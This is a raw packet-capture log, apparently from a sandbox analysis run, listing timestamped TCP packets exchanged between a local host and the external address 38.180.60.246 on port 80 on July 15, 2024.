Jul 15, 2024 00:48:21.766740084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766750097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766762018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766772032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.766787052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.766813993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.767513990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767523050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767534018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767564058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.767591953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.767682076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767692089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767700911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767712116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767718077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.767744064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.767770052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.767965078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767975092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767983913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.767993927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768006086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768007994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768018007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768024921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768029928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768043041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768054008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768054962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768074036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768101931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768570900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768582106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768591881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768603086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768613100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768621922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768629074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768644094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768659115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768687010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.768914938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.768956900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.866827011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.866863012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.866875887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.866976976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.866988897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867001057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867013931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867070913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867070913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867070913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867203951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867280960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867292881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867302895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867316008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867331982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867360115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867511034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867522001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867536068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867552996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867571115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867575884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867588043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867599964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867613077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867614031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867624044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867636919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.867639065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.867666006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868207932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868217945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868257046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868267059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868278027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868289948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868309021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868330956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868498087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868508101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868531942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868541956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868544102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868556023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868561983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868567944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868580103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.868588924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.868611097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869096994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869108915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869118929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869128942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869141102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869148016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869151115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869162083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869167089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869167089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869179010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869184971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869190931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869203091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869219065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869251966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869735003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869745016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869755983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869781971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869798899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869904995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869915962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869925022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869930029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869940042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.869947910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869967937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.869996071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870337009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870347977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870357037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870367050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870377064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870385885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870388985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870399952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870410919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870418072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870421886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870431900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870443106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870454073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870528936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870528936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870528936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870528936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.870976925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870986938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.870995998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871032000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871120930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871131897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871141911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871164083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871177912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871334076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871344090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871352911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871381998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871402025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871408939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871413946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871423960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871434927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.871437073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871457100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.871485949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.872132063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872142076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872147083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872155905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872160912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872165918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872170925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872175932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872181892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872191906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872198105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.872225046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.872240067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.872255087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874530077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874555111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874567032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874588013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874608994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874622107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874624968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874638081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874644041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874677896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874703884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874818087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874829054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874840021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.874854088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.874874115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.875008106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.875020027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.875031948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.875051975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.875065088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.875132084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.875143051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.875154972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.875169992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.875195026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.876964092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877026081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877032995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877038956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877077103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877159119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877196074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877232075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877244949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877269983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877286911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877397060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877408028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877418041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877430916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877443075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877477884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877499104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877516031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877593040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877605915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877618074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877628088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.877640963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877664089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.877692938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.959400892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959417105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959429026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959480047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.959506989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.959508896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959520102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959532022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959542036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.959542990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959558010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959567070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.959598064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.959876060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959887981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.959922075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960089922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960100889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960112095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960124969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960134983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960150957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960177898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960290909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960300922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960310936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960323095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960330963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960349083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960376024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960539103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960547924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960557938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960577965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960597992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960760117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960769892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960779905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960791111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.960800886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.960832119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961003065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961014032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961024046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961049080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961066961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961184978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961225986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961280107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961291075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961301088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961313009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961321115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961325884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961337090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961349010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961369991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961622953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961667061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961683035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961715937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961796045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961806059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961818933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.961833000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.961852074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962081909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962091923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962101936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962112904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962127924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962150097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962234020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962244987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962255001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962265015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962275982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962277889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962290049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962301970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962325096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962635040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962645054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962656975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962671995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962681055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962683916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962694883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962702036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962706089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962718964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962723017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962730885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962739944 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.962740898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.962769985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963351011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963361979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963371992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963383913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963396072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963397026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963407040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963417053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963417053 CEST	80	49704	38.180.60.246	192.168.2.5
